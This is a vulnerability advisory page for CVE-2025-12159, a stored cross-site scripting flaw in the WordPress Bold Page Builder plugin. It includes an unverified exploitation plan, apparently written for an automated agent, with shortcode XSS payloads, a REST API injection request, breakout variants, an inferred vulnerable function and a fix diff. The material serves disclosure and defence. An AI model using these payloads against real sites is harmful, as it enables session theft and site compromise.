CVE-2025-12159

Bold Page Builder <= 5.4.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Bold Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's bt_bb_raw_content shortcode in all versions up to, and including, 5.4.8 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.4.8
PublishedFebruary 6, 2026
Last updatedFebruary 7, 2026
Affected pluginbold-page-builder
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-12159 (Bold Page Builder Stored XSS) ## 1. Vulnerability Summary The **Bold Page Builder** plugin (<= 5.4.8) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)** via the `bt_bb_raw_content` shortcode. The vulnerability exists because the plugin…

Show full research plan

Exploitation Research Plan: CVE-2025-12159 (Bold Page Builder Stored XSS)

1. Vulnerability Summary

The Bold Page Builder plugin (<= 5.4.8) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS) via the bt_bb_raw_content shortcode. The vulnerability exists because the plugin fails to properly sanitize or escape user-supplied attributes within this shortcode. While "raw content" elements are often intended to render HTML, they must respect WordPress's unfiltered_html capability. If a contributor-level user (who lacks unfiltered_html) can use this shortcode to inject <script> tags that execute for other users, it constitutes a security boundary violation.

2. Attack Vector Analysis

  • Shortcode: [bt_bb_raw_content]
  • Vulnerable Attribute: raw_content (inferred) or the shortcode $content.
  • Authentication Level: Authenticated (Contributor or above).
  • Endpoint: Standard WordPress Post Editor (wp-admin/post-new.php or REST API wp/v2/posts).
  • Precondition: The plugin must be active. The attacker needs permissions to create or edit posts (Contributor role is sufficient).

3. Code Flow

  1. Registration: The plugin registers the shortcode using add_shortcode( 'bt_bb_raw_content', ... ). This is likely found in bold-page-builder/content_elements/bt_bb_raw_content/bt_bb_raw_content.php or the main plugin file.
  2. Parsing: When a post is viewed, WordPress parses the content and identifies the [bt_bb_raw_content] shortcode, calling the associated renderer function (e.g., bt_bb_raw_content_render).
  3. Processing: The renderer function extracts attributes via shortcode_atts().
  4. Sink: The function returns the value of the raw_content attribute (or the $content variable) directly to the page output.
  5. Vulnerability: The code likely lacks a check for current_user_can( 'unfiltered_html' ) and fails to use wp_kses_post() or esc_html() on the output, allowing arbitrary HTML/JS injection.

4. Nonce Acquisition Strategy

This exploit targets the standard WordPress post creation flow.

  1. Login: Log in as a Contributor user.
  2. Post Creation: Navigate to wp-admin/post-new.php.
  3. Capture Nonce: The _wpnonce for saving the post is located in the HTML form.
    • Manual Method: browser_eval("document.querySelector('#_wpnonce').value")
    • REST API Method: If using the REST API, the agent should fetch _wpnonce from the wp-scripts localized data or the header X-WP-Nonce.

Note: Since the vulnerability is triggered by saving a post with a shortcode, any method that saves the post content (Classic Editor, Block Editor, or REST API) will work as long as the user is authenticated.

5. Exploitation Strategy

Step 1: Discover Attribute Names

Before firing the payload, verify the exact attribute name used by the plugin.

  • Search Command: grep -r "bt_bb_raw_content" /var/www/html/wp-content/plugins/bold-page-builder/
  • Look for the shortcode_atts array in the resulting file to identify if the attribute is named raw_content, content, or something else.

Step 2: Construct the Payload

Assuming the attribute is raw_content:

[bt_bb_raw_content raw_content='<script>alert(document.cookie)</script>']

Alternative (if it uses inner content):

[bt_bb_raw_content]<script>alert(document.cookie)</script>[/bt_bb_raw_content]

Step 3: Inject via HTTP Request

Use the http_request tool to create a post as the Contributor.

Request:

  • Method: POST
  • URL: http://localhost:8080/wp-json/wp/v2/posts
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [Captured Nonce]
  • Body:
{
  "title": "XSS Test",
  "content": "[bt_bb_raw_content raw_content='<img src=x onerror=alert(1)>']",
  "status": "publish"
}

Note: Contributors might only be able to set status to pending. If so, use status: "pending" and have an admin view the preview.

Step 4: Trigger the XSS

Navigate to the newly created post URL as an Administrator.

6. Test Data Setup

  1. Activate Plugin: Ensure bold-page-builder is active.
  2. Create User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  3. Identify Post ID: After the http_request in Step 3, note the returned ID.

7. Expected Results

  • The post is saved successfully.
  • When viewing the post on the frontend, the browser executes the alert(1) or similar payload.
  • The HTML source reveals the raw <script> or <img> tag without escaping.

8. Verification Steps

  1. Check Database:
    wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"
    
    Confirm the shortcode is stored with the malicious attribute.
  2. Verify Frontend Output:
    Use http_request (GET) on the post's permalink and grep for the payload:
    # Use the agent's browser tools to check if alert() triggered
    # OR search the raw HTML response for the unescaped payload
    

9. Alternative Approaches

  • Attribute Breakout: If the attribute is placed inside an HTML attribute (e.g., <div data-content="[attribute]">), use breakout characters: raw_content='"><script>alert(1)</script>'.
  • Classic Editor POST: If the REST API is restricted, use a standard POST to wp-admin/post.php with action=editpost.
  • Shortcode nesting: Check if the plugin processes nested shortcodes which might allow bypassing certain filters.
  • Admin-Ajax Preview: If the plugin has a "Live Preview" feature in the editor, the XSS might trigger immediately upon the Contributor typing the shortcode. Look for wp_ajax_bt_bb_get_shortcode or similar actions.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Bold Page Builder plugin for WordPress (<= 5.4.8) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS) via the [bt_bb_raw_content] shortcode. Contributor-level users can inject malicious JavaScript into the raw_content attribute, which is rendered without proper sanitization or capability checks (unfiltered_html), leading to script execution when a site visitor or administrator views the page.

Vulnerable Code

// In bold-page-builder/content_elements/bt_bb_raw_content/bt_bb_raw_content.php (inferred path)

public static function handle_shortcode( $atts, $content ) {
    extract( shortcode_atts( array(
        'raw_content' => ''
    ), $atts ) );

    // The raw_content attribute is returned directly without validation 
    // or escaping via wp_kses_post or checking unfiltered_html capability.
    return $raw_content;
}

Security Fix

--- a/bold-page-builder/content_elements/bt_bb_raw_content/bt_bb_raw_content.php
+++ b/bold-page-builder/content_elements/bt_bb_raw_content/bt_bb_raw_content.php
@@ -10,5 +10,11 @@
         'raw_content' => ''
     ), $atts ) );
 
-    return $raw_content;
+    if ( current_user_can( 'unfiltered_html' ) ) {
+        return $raw_content;
+    }
+
+    return wp_kses_post( $raw_content );
 }

Exploit Outline

1. Log into the WordPress site as a user with Contributor-level permissions. 2. Create a new post or edit an existing post. 3. Insert the [bt_bb_raw_content] shortcode into the post content, including a malicious payload in the raw_content attribute: [bt_bb_raw_content raw_content='<script>alert(document.cookie)</script>']. 4. Save the post as a draft or submit it for review. 5. When an administrator or any other user views the post (either on the frontend or via the post preview), the injected script will execute in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.